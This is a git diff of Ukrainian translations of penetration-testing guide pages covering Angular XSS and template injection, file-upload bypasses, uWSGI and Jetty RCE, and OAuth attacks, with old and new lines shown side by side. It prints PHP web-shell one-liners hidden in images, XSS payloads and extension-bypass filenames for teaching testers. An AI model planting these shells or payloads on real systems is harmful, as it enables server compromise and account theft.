Зазвичай Angular екранує введення користувача, яке може бути сплутане з виразами шаблону (наприклад, символи такі як \`< > ' " \`\`). Це означає, що для обходу цього обмеження потрібні додаткові кроки, такі як використання функцій, які генерують об'єкти рядків JavaScript, щоб уникнути використання заборонених символів. Однак, щоб досягти цього, ми повинні враховувати контекст Angular, його властивості та змінні. Тому атака ін'єкції шаблону може виглядати наступним чином:
```jsx
@ -227,17 +227,17 @@ selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
```
Як показано вище: `constructor` посилається на область дії властивості Object `constructor`, що дозволяє нам викликати конструктор String і виконувати довільний код.
Як показано вище: `constructor` посилається на область видимості властивості Object `constructor`, що дозволяє нам викликати конструктор String і виконувати довільний код.
#### Серверне рендеринг (SSR)
#### Серверний рендеринг (SSR)
На відміну від CSR, яке відбувається в DOM браузера, Angular Universal відповідає за SSR шаблонних файлів. Ці файли потім доставляються користувачу. Незважаючи на це відмінність, Angular Universal застосовує ті ж механізми санітизації, що використовуються в CSR, для підвищення безпеки SSR. Вразливість ін'єкції шаблону в SSR можна виявити так само, як і в CSR, оскільки використовувана мова шаблонів є такою ж.
На відміну від CSR, який відбувається в DOM браузера, Angular Universal відповідає за SSR шаблонних файлів. Ці файли потім доставляються користувачу. Незважаючи на це відмінність, Angular Universal застосовує ті ж механізми санітизації, що використовуються в CSR, для підвищення безпеки SSR. Вразливість до ін'єкцій шаблонів в SSR можна виявити так само, як і в CSR, оскільки використовувана мова шаблонів є такою ж.
Звичайно, також існує можливість введення нових вразливостей ін'єкції шаблону при використанні сторонніх шаблонних движків, таких як Pug і Handlebars.
Звичайно, також існує можливість введення нових вразливостей до ін'єкцій шаблонів при використанні сторонніх шаблонних движків, таких як Pug і Handlebars.
### XSS
#### DOM інтерфейси
#### Інтерфейси DOM
Як вже зазначалося, ми можемо безпосередньо отримати доступ до DOM, використовуючи інтерфейс _Document_. Якщо введення користувача не перевіряється заздалегідь, це може призвести до вразливостей міжсайтового скриптингу (XSS).
@ -292,7 +292,7 @@ document.body.appendChild(a);
```
#### Angular класи
Є кілька класів, які можна використовувати для роботи з елементами DOM в Angular: `ElementRef`, `Renderer2`, `Location` та `Document`. Детальний опис останніх двох класів наведено в розділі **Open redirects**. Основна різниця між першими двома полягає в тому, що API `Renderer2` забезпечує рівень абстракції між елементом DOM та кодом компонента, тоді як `ElementRef` просто містить посилання на елемент. Тому, згідно з документацією Angular, API `ElementRef` слід використовувати лише в крайньому випадку, коли потрібен прямий доступ до DOM.
Є кілька класів, які можна використовувати для роботи з елементами DOM в Angular: `ElementRef`, `Renderer2`, `Location` та `Document`. Детальний опис останніх двох класів наведено в розділі **Open redirects**. Основна різниця між першими двома полягає в тому, що API `Renderer2` забезпечує рівень абстракції між елементом DOM та кодом компонента, тоді як `ElementRef` просто містить посилання на елемент. Тому, згідно з документацією Angular, API `ElementRef` слід використовувати лише як останній засіб, коли потрібен прямий доступ до DOM.
* `ElementRef` містить властивість `nativeElement`, яка може бути використана для маніпуляції з елементами DOM. Однак неправильне використання `nativeElement` може призвести до вразливості XSS, як показано нижче:
@ -371,13 +371,13 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
<button (click)="setProperty()">Click me!</button>
```
Під час нашого дослідження ми також вивчали поведінку інших методів `Renderer2`, таких як `setStyle()`, `createComment()`, і `setValue()`, у відношенні до XSS та CSS-ін'єкцій. Однак ми не змогли знайти жодних дійсних векторів атак для цих методів через їх функціональні обмеження.
Під час нашого дослідження ми також вивчали поведінку інших методів `Renderer2`, таких як `setStyle()`, `createComment()` та `setValue()`, у відношенні до XSS та CSS-ін'єкцій. Однак ми не змогли знайти жодних дійсних векторів атак для цих методів через їх функціональні обмеження.
#### jQuery
jQuery - це швидка, маленька та багатофункціональна бібліотека JavaScript, яку можна використовувати в проекті Angular для допомоги в маніпуляції з HTML-об'єктами DOM. Однак, як відомо, методи цієї бібліотеки можуть бути використані для досягнення вразливості XSS. Щоб обговорити, як деякі вразливі методи jQuery можуть бути використані в проектах Angular, ми додали цей підрозділ.
jQuery - це швидка, маленька та багатофункціональна бібліотека JavaScript, яку можна використовувати в проекті Angular для допомоги в маніпуляції з HTML DOM об'єктами. Однак, як відомо, методи цієї бібліотеки можуть бути використані для досягнення вразливості XSS. Щоб обговорити, як деякі вразливі методи jQuery можуть бути використані в проектах Angular, ми додали цей підрозділ.
* Метод `html()` отримує HTML-вміст першого елемента в наборі відповідних елементів або встановлює HTML-вміст кожного відповідного елемента. Однак за дизайном будь-який конструктор або метод jQuery, який приймає HTML-рядок, може потенційно виконати код. Це може статися через ін'єкцію тегів `<script>` або використання HTML-атрибутів, які виконують код, як показано в прикладі.
* Метод `html()` отримує HTML вміст першого елемента в наборі відповідних елементів або встановлює HTML вміст кожного відповідного елемента. Однак за дизайном будь-який конструктор або метод jQuery, який приймає HTML рядок, може потенційно виконувати код. Це може статися через ін'єкцію `<script>` тегів або використання HTML атрибутів, які виконують код, як показано в прикладі.
```tsx
//app.component.ts
@ -404,13 +404,13 @@ $("p").html("<script>alert(1)</script>");
<button>Click me</button>
<p>some text here</p>
```
* Метод `jQuery.parseHTML()` використовує рідні методи для перетворення рядка в набір вузлів DOM, які потім можуть бути вставлені в документ.
* Метод `jQuery.parseHTML()` використовує рідні методи для перетворення рядка в набір DOM вузлів, які потім можуть бути вставлені в документ.
```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Як вже згадувалося, більшість API jQuery, які приймають HTML-рядки, виконуватимуть скрипти, які включені в HTML. Метод `jQuery.parseHTML()` не виконує скрипти в розібраному HTML, якщо `keepScripts` явно не дорівнює `true`. Однак у більшості середовищ все ще можливо виконати скрипти непрямо; наприклад, через атрибут `<img onerror>`.
Як вже згадувалося, більшість API jQuery, які приймають HTML рядки, виконуватимуть скрипти, які включені в HTML. Метод `jQuery.parseHTML()` не виконує скрипти в проаналізованому HTML, якщо `keepScripts` явно не встановлено в `true`. Однак у більшості середовищ все ще можливо виконати скрипти непрямо; наприклад, через атрибут `<img onerror>`.
```tsx
//app.component.ts
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Angular класи
* Згідно з документацією Angular, Angular `Document` є тим самим, що й документ DOM, що означає, що можна використовувати загальні вектори для документа DOM для експлуатації вразливостей на стороні клієнта в Angular. Властивості та методи `Document.location` можуть бути джерелами успішних атак відкритого перенаправлення, як показано в прикладі:
* Згідно з документацією Angular, Angular `Document` є тим же, що й документ DOM, що означає, що можна використовувати загальні вектори для документа DOM для експлуатації вразливостей на стороні клієнта в Angular. Властивості та методи `Document.location` можуть бути джерелами успішних атак відкритого перенаправлення, як показано в прикладі:
```tsx
//app.component.ts
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* Під час дослідницької фази ми також переглянули клас Angular `Location` на предмет вразливостей відкритого перенаправлення, але жодних дійсних векторів не було знайдено. `Location` - це сервіс Angular, який програми можуть використовувати для взаємодії з поточною URL-адресою браузера. Цей сервіс має кілька методів для маніпуляції з даною URL-адресою - `go()`, `replaceState()`, і `prepareExternalUrl()`. Однак ми не можемо використовувати їх для перенаправлення на зовнішній домен. Наприклад:
* Під час дослідницького етапу ми також переглянули клас Angular `Location` на предмет вразливостей відкритого перенаправлення, але жодних дійсних векторів не було знайдено. `Location` - це сервіс Angular, який програми можуть використовувати для взаємодії з поточною URL-адресою браузера. Цей сервіс має кілька методів для маніпуляції з даною URL-адресою - `go()`, `replaceState()` та `prepareExternalUrl()`. Однак ми не можемо використовувати їх для перенаправлення на зовнішній домен. Наприклад:
```tsx
//app.component.ts
@ -592,7 +592,7 @@ this.router.navigateByUrl('URL')
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)

View File

@ -5,7 +5,7 @@
Перевірте цю сторінку, якщо ви хочете дізнатися більше про перерахування та зловживання Buckets:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -9,7 +9,7 @@ Firebase - це Backend-as-a-Service, в основному для мобіль
Дізнайтеся більше про Firebase за адресою:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. Спробуйте обійти захист, **обманюючи парсер розширень** на стороні сервера за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**нульових** байтів) між розширеннями. _Ви також можете використовувати **попередні розширення** для підготовки кращого корисного навантаження._
4. Спробуйте обійти захист, **обманюючи парсер розширень** на стороні сервера за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**нульові** байти) між розширеннями. _Ви також можете використовувати **попередні розширення** для підготовки кращого корисного навантаження._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -67,11 +67,11 @@ AAA<--SNIP 232 A-->AAA.php.png
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` або ви також можете **ввести корисне навантаження безпосередньо** в зображення:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **PLTE chunk** [**техніка, визначена тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **IDAT chunk** [**техніка, визначена тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **техніку IDAT chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **tEXt chunk** [**техніка, визначена тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
@ -85,11 +85,11 @@ AAA<--SNIP 232 A-->AAA.php.png
4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** у **NTFS**. (Windows)
5. Завантажте файл у **Windows** з **недійсними символами**, такими як `|<>*?”` в його імені. (Windows)
6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена**, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
- Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли випадково відкриється жертвою.
- Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли його випадково відкриє жертва.
### Special extension tricks
Якщо ви намагаєтеся завантажити файли на **PHP сервер**, [ознайомтеся з трюком **.htaccess** для виконання коду](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Якщо ви намагаєтеся завантажити файли на **PHP сервер**, [ознайомтеся з трюком **.htaccess** для виконання коду](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Якщо ви намагаєтеся завантажити файли на **ASP сервер**, [ознайомтеся з трюком **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його з php або включаючи його в скрипт...)
@ -98,15 +98,15 @@ AAA<--SNIP 232 A-->AAA.php.png
## **Jetty RCE**
Якщо ви можете завантажити XML файл на сервер Jetty, ви можете отримати [RCE, оскільки **нові \*.xml та \*.war автоматично обробляються**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як зазначено на наступному зображенні, завантажте XML файл до `$JETTY_BASE/webapps/` і чекайте оболонку!
Якщо ви можете завантажити XML файл на сервер Jetty, ви можете отримати [RCE, оскільки **нові \*.xml і \*.war автоматично обробляються**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як зазначено на наступному зображенні, завантажте XML файл до `$JETTY_BASE/webapps/` і чекайте оболонку!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Для детального вивчення цієї вразливості ознайомтеся з оригінальним дослідженням: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Вразливості віддаленого виконання команд (RCE) можуть бути експлуатовані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
Вразливості віддаленого виконання команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
Розгляньте наступний приклад шкідливого файлу `uwsgi.ini`, що демонструє різні схеми:
```ini
@ -160,7 +160,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
## Інструменти
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) - це потужний інструмент, розроблений для допомоги пентестерам та шукачам вразливостей у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) - це потужний інструмент, розроблений для допомоги Pentesters та Bug Hunters у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
## Від завантаження файлів до інших вразливостей
@ -177,7 +177,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- Якщо ви можете **вказати веб-серверу, щоб отримати зображення з URL**, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/index.html). Якщо це **зображення** буде **збережено** на якомусь **публічному** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **вкрасти інформацію про кожного відвідувача**.
- [**XXE та CORS** обхід з завантаженням PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- Спеціально підготовлені PDF для XSS: [наступна сторінка показує, як **впровадити PDF дані для отримання виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок.
- Завантажте \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) вміст, щоб перевірити, чи є у сервера якийсь **антивірус**
- Завантажте \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) вміст, щоб перевірити, чи є на сервері якийсь **антивірус**
- Перевірте, чи є якийсь **обмеження за розміром** при завантаженні файлів
Ось топ-10 речей, які ви можете досягти, завантажуючи (з [тут](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -206,7 +206,7 @@ https://github.com/portswigger/upload-scanner
Дивіться [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) для інших типів файлів.
### Автоматично розпаковане завантаження Zip/Tar
### Автоматично розпаковане завантаження Zip/Tar файлів
Якщо ви можете завантажити ZIP, який буде розпаковано на сервері, ви можете зробити 2 речі:
@ -251,7 +251,7 @@ create_zip()
```
**Зловживання стисненням для спрейінгу файлів**
Для отримання додаткової інформації **перегляньте оригінальну публікацію в**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Для отримання додаткової інформації **перегляньте оригінальний пост у**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Створення PHP Shell**: PHP код написаний для виконання команд, переданих через змінну `$_REQUEST`.
@ -301,7 +301,7 @@ pop graphic-context
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних додатках є дозволяти лише певні типи файлів для завантаження—як JPEG, GIF або DOC—щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система сувора щодо дозволених розширень, то лише структурна подвійність поліглота може не бути достатньою для гарантії його завантаження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
Більше інформації в: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

View File

@ -4,24 +4,24 @@
## Основна інформація <a href="#d4a8" id="d4a8"></a>
OAuth пропонує різні версії, з основними відомостями, доступними в [OAuth 2.0 документації](https://oauth.net/2/). Це обговорення в основному зосереджене на широко використовуваному [типі надання авторизаційного коду OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), що забезпечує **рамки авторизації, які дозволяють додатку отримувати доступ або виконувати дії в обліковому записі користувача в іншому додатку** (сервер авторизації).
OAuth пропонує різні версії, з основними відомостями, доступними в [OAuth 2.0 documentation](https://oauth.net/2/). Це обговорення в основному зосереджене на широко використовуваному [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), що надає **рамки авторизації, які дозволяють додатку отримувати доступ або виконувати дії в обліковому записі користувача в іншому додатку** (сервер авторизації).
Розгляньте гіпотетичний веб-сайт _**https://example.com**_, призначений для **демонстрації всіх ваших публікацій у соціальних мережах**, включаючи приватні. Для досягнення цього використовується OAuth 2.0. _https://example.com_ запитає вашу згоду на **доступ до ваших публікацій у соціальних мережах**. Відповідно, на _https://socialmedia.com_ з'явиться екран згоди, що описує **дозволи, які запитуються, та розробника, який робить запит**. Після вашої авторизації _https://example.com_ отримує можливість **доступу до ваших публікацій від вашого імені**.
Важливо зрозуміти наступні компоненти в рамках OAuth 2.0:
- **власник ресурсу**: Ви, як **користувач/суб'єкт**, авторизуєте доступ до вашого ресурсу, наприклад, до публікацій у вашому обліковому записі соціальних мереж.
- **сервер ресурсу**: **сервер, що керує аутентифікованими запитами** після того, як додаток отримав `access token` від імені `власника ресурсу`, наприклад, **https://socialmedia.com**.
- **сервер ресурсу**: **сервер, що управляє аутентифікованими запитами** після того, як додаток отримав `access token` від імені `власника ресурсу`, наприклад, **https://socialmedia.com**.
- **клієнтський додаток**: **додаток, що запитує авторизацію** у `власника ресурсу`, наприклад, **https://example.com**.
- **сервер авторизації**: **сервер, який видає `access tokens`** для `клієнтського додатку` після успішної аутентифікації `власника ресурсу` та отримання авторизації, наприклад, **https://socialmedia.com**.
- **сервер авторизації**: **сервер, що видає `access tokens`** для `клієнтського додатку` після успішної аутентифікації `власника ресурсу` та отримання авторизації, наприклад, **https://socialmedia.com**.
- **client_id**: Публічний, унікальний ідентифікатор для додатку.
- **client_secret:** Конфіденційний ключ, відомий лише додатку та серверу авторизації, що використовується для генерації `access_tokens`.
- **response_type**: Значення, що вказує **тип запитуваного токена**, наприклад, `code`.
- **scope**: **рівень доступу**, який `клієнтський додаток` запитує у `власника ресурсу`.
- **redirect_uri**: **URL, на який користувач перенаправляється після авторизації**. Це зазвичай повинно відповідати попередньо зареєстрованому URL перенаправлення.
- **state**: Параметр для **збереження даних під час перенаправлення користувача до та з сервера авторизації**. Його унікальність є критично важливою для виконання функції **механізму захисту від CSRF**.
- **grant_type**: Параметр, що вказує **тип надання та тип токена, що повертається**.
- **code**: Авторизаційний код від `сервера авторизації`, що використовується разом з `client_id` та `client_secret` клієнтським додатком для отримання `access_token`.
- **grant_type**: Параметр, що вказує **тип гранту та тип токена, що повертається**.
- **code**: Код авторизації від `сервера авторизації`, що використовується разом з `client_id` та `client_secret` клієнтським додатком для отримання `access_token`.
- **access_token**: **токен, який клієнтський додаток використовує для API запитів** від імені `власника ресурсу`.
- **refresh_token**: Дозволяє додатку **отримати новий `access_token` без повторного запиту у користувача**.
@ -56,9 +56,9 @@ Host: socialmedia.com
### Відкритий redirect_uri <a href="#cc36" id="cc36"></a>
`redirect_uri` є критично важливим для безпеки в реалізаціях OAuth та OpenID, оскільки він вказує, куди надсилаються чутливі дані, такі як коди авторизації, після авторизації. Якщо він неправильно налаштований, це може дозволити зловмисникам перенаправляти ці запити на шкідливі сервери, що дозволяє захоплення облікових записів.
`redirect_uri` є критично важливим для безпеки в реалізаціях OAuth та OpenID, оскільки він вказує, куди надсилаються чутливі дані, такі як коди авторизації, після авторизації. Якщо він неправильно налаштований, це може дозволити зловмисникам перенаправляти ці запити на шкідливі сервери, що дозволяє здійснити захоплення облікового запису.
Техніки експлуатації варіюються в залежності від логіки валідації авторизаційного сервера. Вони можуть коливатися від суворого співпадіння шляхів до прийняття будь-якого URL в межах вказаного домену або підкаталогу. Загальні методи експлуатації включають відкриті редиректи, обходи шляхів, експлуатацію слабких регулярних виразів та HTML-ін'єкції для крадіжки токенів.
Методи експлуатації варіюються в залежності від логіки валідації авторизаційного сервера. Вони можуть коливатися від суворого співпадіння шляхів до прийняття будь-якого URL в межах вказаного домену або підкаталогу. Загальні методи експлуатації включають відкриті редиректи, обходження шляхів, експлуатацію слабких регулярних виразів та HTML-ін'єкцію для крадіжки токенів.
Окрім `redirect_uri`, інші параметри OAuth та OpenID, такі як `client_uri`, `policy_uri`, `tos_uri` та `initiate_login_uri`, також підлягають атакам редиректу. Ці параметри є необов'язковими, і їх підтримка варіюється між серверами.
@ -72,22 +72,22 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
```
### CSRF - Неправильна обробка параметра стану <a href="#bda5" id="bda5"></a>
У реалізаціях OAuth неправильне використання або пропуск **`state` параметра** може значно підвищити ризик атак **Cross-Site Request Forgery (CSRF)**. Ця вразливість виникає, коли `state` параметр або **не використовується, використовується як статичне значення, або не перевіряється належним чином**, що дозволяє зловмисникам обходити захист CSRF.
У реалізаціях OAuth неправильне використання або пропуск параметра **`state`** може значно підвищити ризик атак **Cross-Site Request Forgery (CSRF)**. Ця вразливість виникає, коли параметр `state` або **не використовується, використовується як статичне значення, або не перевіряється належним чином**, що дозволяє зловмисникам обходити захист CSRF.
Зловмисники можуть скористатися цим, перехоплюючи процес авторизації, щоб зв'язати свій обліковий запис з обліковим записом жертви, що може призвести до потенційних **взломів облікових записів**. Це особливо критично в додатках, де OAuth використовується для **автентифікаційних цілей**.
Приклади цієї вразливості в реальному світі були задокументовані в різних **CTF викликах** та **хакерських платформах**, підкреслюючи її практичні наслідки. Проблема також поширюється на інтеграції з сторонніми сервісами, такими як **Slack**, **Stripe** та **PayPal**, де зловмисники можуть перенаправляти сповіщення або платежі на свої облікові записи.
Реальні приклади цієї вразливості були задокументовані в різних **CTF викликах** та **хакерських платформах**, підкреслюючи її практичні наслідки. Проблема також поширюється на інтеграції з сторонніми сервісами, такими як **Slack**, **Stripe** та **PayPal**, де зловмисники можуть перенаправляти сповіщення або платежі на свої облікові записи.
Належна обробка та перевірка **`state` параметра** є критично важливими для захисту від CSRF та забезпечення безпеки OAuth потоку.
Належна обробка та перевірка параметра **`state`** є критично важливими для захисту від CSRF та забезпечення безпеки потоку OAuth.
### Перед взломом облікового запису <a href="#ebe4" id="ebe4"></a>
1. **Без перевірки електронної пошти при створенні облікового запису**: Зловмисники можуть заздалегідь створити обліковий запис, використовуючи електронну пошту жертви. Якщо жертва пізніше використовує сторонній сервіс для входу, додаток може ненавмисно зв'язати цей сторонній обліковий запис з попередньо створеним обліковим записом зловмисника, що призведе до несанкціонованого доступу.
2. **Використання слабкої перевірки електронної пошти в OAuth**: Зловмисники можуть скористатися сервісами OAuth, які не перевіряють електронні адреси, зареєструвавшись у їхньому сервісі, а потім змінивши електронну пошту облікового запису на електронну пошту жертви. Цей метод також несе ризик несанкціонованого доступу до облікового запису, подібно до першого сценарію, але через інший вектор атаки.
2. **Використання слабкої перевірки електронної пошти в OAuth**: Зловмисники можуть скористатися сервісами OAuth, які не перевіряють електронні адреси, зареєструвавшись у їхньому сервісі, а потім змінивши електронну адресу облікового запису на електронну адресу жертви. Цей метод також несе ризик несанкціонованого доступу до облікового запису, подібно до першого сценарію, але через інший вектор атаки.
### Розкриття секретів <a href="#e177" id="e177"></a>
Визначення та захист секретних параметрів OAuth є критично важливими. Хоча **`client_id`** можна безпечно розкривати, розкриття **`client_secret`** несе значні ризики. Якщо `client_secret` буде скомпрометовано, зловмисники можуть скористатися ідентичністю та довірою додатка, щоб **вкрасти `access_tokens` користувачів** та приватну інформацію.
Визначення та захист секретних параметрів OAuth є критично важливими. Хоча **`client_id`** можна безпечно розкривати, розкриття **`client_secret`** несе значні ризики. Якщо `client_secret` буде скомпрометовано, зловмисники можуть скористатися ідентичністю та довірою додатка, щоб **вкрасти `access_tokens`** та приватну інформацію.
Загальна вразливість виникає, коли додатки помилково обробляють обмін авторизаційним `code` на `access_token` на стороні клієнта, а не на стороні сервера. Ця помилка призводить до розкриття `client_secret`, що дозволяє зловмисникам генерувати `access_tokens` під виглядом додатка. Більше того, через соціальну інженерію зловмисники можуть підвищити привілеї, додаючи додаткові області до авторизації OAuth, ще більше експлуатуючи довірений статус додатка.
@ -146,7 +146,7 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Для більш детальної інформації про те, як зловживати AWS cognito, перегляньте:
{{#ref}}
